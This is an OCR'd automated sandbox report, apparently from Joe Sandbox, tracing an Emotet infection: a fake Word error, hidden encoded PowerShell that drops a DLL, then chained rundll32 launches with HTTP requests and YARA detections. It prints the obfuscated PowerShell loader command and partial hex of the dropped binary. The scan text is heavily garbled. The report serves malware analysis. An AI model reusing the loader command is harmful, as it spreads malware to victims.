00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
21D 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF
FF FF

00 00 00 00 00 00 00 00 00 00
f@R0DHH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

Completion

Source
Count Address

Symbol

Analysis Process: cmd.exe PID: 2288 Parent PID: 1220

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Copyright null 2021

08:48:40

06/01/2021

C:\Windows\System32\cmd.exe

false
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Commandline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file.
& PrOwer"she L L -w hidden -ENCOD JAASADUAWABVAGMARAAg
ACAAPQAgACAAWWBUAFKACABFAFOAKAAIAHSAMABIAHSAMgBIAHSANABIAHSA
MwB9AHSAMQBIACIAIAAIAGYAIWBTAFKAUWBUAGUAJIWASACCAQWBUAEBAUYB5S
ACCALAANAEOAIWASACCAUgBFACCALAANAC4AaQBVACAAZABIACCAKQAGACAA
OWAQACAACWBFAFQALQBJAHQARQBIACAAIAAOACCAVIANACSAIWBhAHIAaQBB
AEIATABIACCAKWANADOARYGBIAFUAIWAPACAAIAAOACAAIABDAHQAEQBWAEUA
XQA0ACIAewAXAHOAewAOAHOAeWAWAHOAewA2AHOAewA1AHOAewAZAHOAeWAyY
AHOAIgGAgACOAZgANAEOALGBUAEUAVAAUAFMAZQBSACCALAANAHMAWQBZAHQA
JWASACCAVABNAGEATgBBAECAZQBYACCALAANAE4AIWASACCARQANACWAIWB] QANACsSAJWBUAHCAWWAZACCAKWANADOALWANACKAKWANACBAJIWAT
ACgAIWBWACCAKWANAGUAdABhAGYAJWAPACSAKAANAGKAbBABtACCAKWANACAA
YwBVACCAKQArACcAbQANACSAKAANACBAdWANACSAIWBWACCAKQArACgAJWAL
AGEAJWArACCcAZABIACCAKWANAGKAbgANACSAIWAVADQADBQAVAEAAXQANACKA
KwANAGEAJWArACgAJWBUACCAKWANAHCAWWAZACCAKWANADOALWAVAGCAaQAN
ACsAIWB2AGKAIWAPACSAKAANAGAAZWANACSAIWBOAGYAY QANACSAIWBUAGSA
cwBKACCAKQArACCcAYQBpACCAKWANAGWAIWATACgAIJWB5ACAAYWANACSAIJWBY
AGOALWBXAGWARQAVAFYAZQBGACBAIJWArACCAQABAAGEAJWArACCAbBgANACKA
KwA0ACcAdwANACsAIWBbADMAOgAVACBAdWANACKAKWAOACCAY QBWACCAKWAN QBUAHCAWWAZADOAJWAr QANACSAIWBUAHCAIWAPACSAIWBDACCAImagebase: 0x49ee0000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

345088 bytes
5746BD7E255DD6A8BAFA06F7C42C1BA41L
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: msg.exe PID: 2616 Parent PID: 2288
General
Start time: 08:48:40
Start date: 06/01/2021
Path: C:\Windows\System32\msg.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

msg user /v Word experienced an error trying to open the file.
0xff630000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2548 Parent PID: 2288
General
Start time: 08:48:41
Start date: 06/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Copyright null 2021

false
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Commandline: POwersheLL -w hidden -ENCOD JAASADUAWABVAGMARAAGACAAP
QAgACAAWWBUAFKACABFAFOAKAAIAHSAMABIAHSAMgBIAHSANABIAHSAMWBOA
HSAMQB9ACIAIAAtAGY AJWBTAFKAUWBUAGUAJWASACCAQWBUAEBAUgB5ACCAL AaQB1ADOAOGAIAHMAZ QANACSAIWBUAGSAcWBKA
CcAKQArACCAYQBpPACCAKWANAGWAIWATACgAIWB5ACAAYWANACSAIWBVAGOAL
WBXAGWARQAVAFYAZQBGACBAIJWArACCAQABIAGEAIWArACCAbgANACKAKWAOA
CcAdwANACsAIJWBbADMAOgAVACBAdWANACKAKWAOACCAY QBWACCAKWANACAAT QBUAHCAWWAZADOAJWArACCcAL
WANACKAKWAOACCALWANACSAIWBEACCAKWANAGKAZOBMAGWAaQB4ACCAKQATA
CgAIWAUACCAKWANAHQAZQBSAGUAJWArACCcAcwWBrACCAKWANAGBAJWArACCcAC
ABzAHQAbwBYAGUALgGBJAGBAIJWAIACCADQANACKAKWANACBAYWANACSAIWBNA
GkAIWArACgAIWAtACCAKWANAGIAaQBUACCAKQArACgAIWAVAECAIJWArACcAd
AAZAFMALWBAACCAKQATrACCAXQANACSAIWBhAGAAIWArACGAIWB3AFSAIWATA
CcAMWANACKAKWANAHMAOQGANACSAKAANACBALWBZAGBADQBhAGAAY QBWACAAY
WBVACCAKWANAGOALWB3AHAAIWArACCALQBhAGQAJWArACCABQANACKAKWAOA
CcAaQBUACCAKWANACBAIWAPACSAIWBQACBAIWAPACAAIgBYAGUAUABMAGAAQ
QBJAEUAIgA0ACYAKAANAFOAY QANACSAIWBUAHCAIWAPACSAIWBDACCAKWANA
DMAJWAPACWAKABDAGEACcgBYAGEAeQBAACYAIWBZAGQAIWASACCACWB3ACCAK
QASACgAKAANAGYAJAANACSAIWBOACCAKQAIACCACAANACKALAANADMAZAANA
CKAWWAXAFOAKQAUACIAcWBgAHAADABPAFQAIGAOACQAUQASADMASAAGACSAI
AAKAEgGAYWA2AGMANgB1AHKAIAArACAAJABIADgAOQBaACKAOWAKAEUANWALA
FYAPQA0ACgAIWBIACCAKWANADEANWANACKAKWANAFgAIWAPADSAZgBVAHIAZ
QBhAGMAaAAgACgAJABDAGoAawBIADAAbABIACAAaQBUACAAJABHAHIANGB4A
F8AaABfACKAeWBOAHIAe QB7ACYALgAOACCATYBIAHCAIWAIACCALQBPAGIAa
gBIAGMAJIWAIACCAJAANACKAIABZAHKAUWBOAGUADBQAUAE4AZQBOACAAVWBFA
GIAYWBMAEKARQBUAHQAKQAUACIAZABVAHCAYABOAGWATWBJAEEAYABEAGYAS
QBsAGUAIgA0ACQAQWBJAGSAZQAWAGWAZQASACAAIABXADcAaQBVADAAIWBNA
CKAOWAKAFIANQALAFMAPQAO0ACCAQYANACSAKAANADYANGANACSAJWBTACCAK
QApPADSASQBMACAAKAAOACAAKAANAECAZQANACSAIWBOACOASQBOAGUADBQANA
CKAIAAKAFCANWBPAGB8AMAB3AGCAKQAUACIAbABJAEUAbgBHAGAAVABOACIAI
AAAGCAZQAgADQAMWAXADIANgAPACAAeWAMACGAIWBYAHUADgANACSAIWBKA
CcAKWANAGWADBAAZADIAIWAPACAAIJABXADcAaQBVADAAIWBNACWAKAAOACCAQ
WBVAG4AIWArACcAdABYAGBAIWAPACSAKAANAGWAIWATACCAXWBSAHUAIWApPA
CsAJWBUAEQAJIWArACCATABMACCAKQAUACIAJABJAEBACWBgAFQAUGBIAGAAZ
WAIACgAKQA7ACQAWGAWADAAUAASACYAKAANAFIAOQANACSAIWAOACCAKQATA
CcASgANACKAOWBIAHIAZQBhAGSAOWAKAECAOQAYAEKAPQAOACCAVQA4ACCAK
WANADKAWQANACKAfQBIAGMAY QBOAGMAaAB7AHOATQAKAFOAMQA3AEOAPQAO0A
CcASWA3ACCAKWANADKAVQANACKA

Imagebase: 0x13f590000
File size: 473600 bytes
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MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path
C:\Users\user\C3re5c3

C:\Users\user\C3re5c3\Di_p3c9

C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll

Old File Path

File Written

File Path

C:\Users\user\C3re5c¢3\Di_p3c9\O_5Z.dll

Copyright null 2021

852D67A27E454BD389FA7F02A8CBE23F

true

true

Net C# or VB.NET

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,

Source:

00000005.00000002.2096095535.0000000000296000.00000004.00000001.sdmp,
Author: Florian Roth
e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,

Source:

00000005.00000002.2096289799.0000000001BD6000.00000004.00000001.sdmp,
Author: Florian Roth

high
Source
Access Attributes Options Completion Count Address Symbol
read data or list device directory file | success or wait 1 7FEEBAABECT? CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
read data or list device directory file | success or wait 1 7FEEBAABECT? CreateDirectoryW
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
read attributes | device synchronous io  success or wait 1 7FEEBAABECTY CreateFileW
synchronize | non alert | non
generic write directory file |
open no recall
Source
New File Path Completion Count Address Symbol
Source
Offset Length Value Ascii Completion Count Address Symbol
unknown 4096 4d 529000030000 MZ......ccveeeuvennn @..... success or wait 1 7FEEBAABEC7 WriteFile

00 04 00 00 00 ff ff
00 00 b8 00 00 00 00 .

..L.IThis program

00 00 00 40 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00 mode....
00000000000000 $.........:
00000000000000 T......

00 00 00 00 0001 00 ...WT....
00 Oe 1f ba Oe 00 b4 ..wT.....
09 cd 21 b8 01 4c cd Rich.wT.
21546869 73 20 70

72 6f 67 72 61 6d 20

63 61 6e 6e 6f 74 20

62 65 20 72 75 6e 20

69 6e 20 44 4f 53 20

6d 6f 64 65 2e 0d 0d

0a 24 00 00 00 00 00

00 00 95 16 3a bb d1

7754 e8d177 54 e8

d1 77 54 e8 15 b2 99

e8dc 77 54 e8 15 b2

9a e8 8e 77 54 e8 15

b2 9b e8 f8 77 54 €8

2d 00 eb e8 d0 77 54

e82d 00 e8 e8d3 77

54 e8dl 77 55 €8 53

77 54 e82d 00 ed e8

c0 77 54 8 f6 b1 9b

e8d5 77 54 e8 f6 bl

9e €8 d0 77 54 e8 f6

b1 9d e8 d0 77 54 e8

d1 77 c3e8d0 7754

e8 f6 b1 98 e8 d0 77

54 e852 69 63 68 d1

77 54 €8 00 00 00 00

00 00 00
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\C3re5c¢3\Di_p3c9\O_5Z.dll unknown 8744 5e 33c05b8be55d 73.[..]...;.h.0.W.s4..\...... success or wait 6 7FEEBAABEC7 WriteFile
€218 00 6a 04 68 00 u...u.j.h.0.WP.\.....E...t$
30000057 ff 7334  j4j..x...P..p....... uh...PV
ff 15 5¢ d0 00 10 8b jooho A3 W
f08975f885f6 75 C..M .G..E..G..E.G E..
18 6a 04 68 00 30 00 G$.E..G(.E..GO.sT.u..A......
00 57 50 ff 15 5¢ dO
00108bf08945f8 j..U.M..B<....u.WS.u..R.
856 74 24 6a 34 6a p4.)...........
08 ff 15 78 d0 00 10
50 ff 15 70 dO 00 10
8b f8 85 ff 75 20 68
00 80 00 00 50 56 ff
15 80 d0 00 10 6a Oe
ff 15 6¢ dO 00 10 5f
5e 33 ¢c0 5b 8b e5 5d
€2 18 00 89 77 04 0f
b7 43 16 8b 4d fc c1
€8 0d 83 e0 01 89 47
14 8b 45 10 89 47 1c
8b 45 14 89 47 20 8b
4518 89 47 24 8b 45
1c 89 47 28 8b 45 d8
89 47 30 ff 73 54 ff
75 Oc e8 41 f9 ff ff 85
c0 0f 84 02 01 00 00
6a 04 68 00 10 00 00
ff 73 54 56 ff 15 5¢
d0 00 10 ff 73 54 8b
fO ff 75 08 56 €8 6a
02 00 00 8b 55 08 8b
4d fc 8b 42 3c 83 c4
Oc 03 c6 8b 75 f8 57
53 ff 75 Oc 89 07 52
89 70 34 e8 29 f9 ff ff
85 c0 0f 84 ba 00 00

00
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE8915208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE8915208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEBA3A287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 6 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEBAABEC7 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEESBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEESBAABEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE8A069DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE8A069DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEEBAABEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEEBAABEC7 ReadFile

Registry Activities

Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2848 Parent PID: 2548
General
Start time: 08:48:44
Start date: 06/01/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dIl Contr
ol_RunDLL
Imagebase: 0xff2c0000
File size: 45568 bytes
MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dlI unknown 64 success or wait 1 FF2C27D0 ReadFile
C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dlI unknown 264 success or wait 1 FF2C281C ReadFile
Analysis Process: rundll32.exe PID: 960 Parent PID: 2848
General
Start time: 08:48:45
Start date: 06/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dIl Contr
ol_RunDLL
Imagebase: 0xa40000
File size: 44544 bytes
MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2100426425.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2100502394.0000000000241000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2836 Parent PID: 960
General
Start time: 08:48:46
Start date: 06/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vgmfknuplwnwb\hr
wkllpxgkmn.qzu',Control_RunDLL

0xa40000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2102461185.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2102499691.00000000001E1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2932 Parent PID: 2836
General
Start time: 08:48:47
Start date: 06/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jpacxmsgxplznz\gypawljxnac
jh.cvj',Control_RunDLL
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

0xa40000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2103478043.0000000000170000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2103529081.0000000000191000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 3068 Parent PID: 2932
General
Start time: 08:48:48
Start date: 06/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW&64\Crppsin\fgsajt.gvd',Contro
|_RunDLL

0xa40000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2105453444.0000000000231000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2105397432.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2864 Parent PID: 3068
General
Start time: 08:48:49
Start date: 06/01/2021
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Path:
Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

Copyright null 2021

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fohbyq\ikksw.jnv',Control_

RunDLL

0xa40000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2347135822.0000000000231000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2347096157.0000000000210000.00000040.00000001.sdmp,
Author: Joe Security

moderate

Attributes

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

device | sparse
file

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

Count

Source

Address Symbol

2484C0

2484C0

2484C0

2484C0

2484C0

2484C0

2484C0

2484C0

2484C0

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW
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File Deleted

File Path
C:\Windows\SysWOW64\Fohbyaq\ikksw.jnv

File Path

Registry Activities

Key Path Name

Disassembly

Code Analysis

Copyright null 2021

Type

Old Data

Source
Completion Count Address Symbol
cannot delete 1 24AAAA DeleteFilew
Source
Offset Length Completion Count Address Symbol
Source

New Data Completion Count Address Symbol
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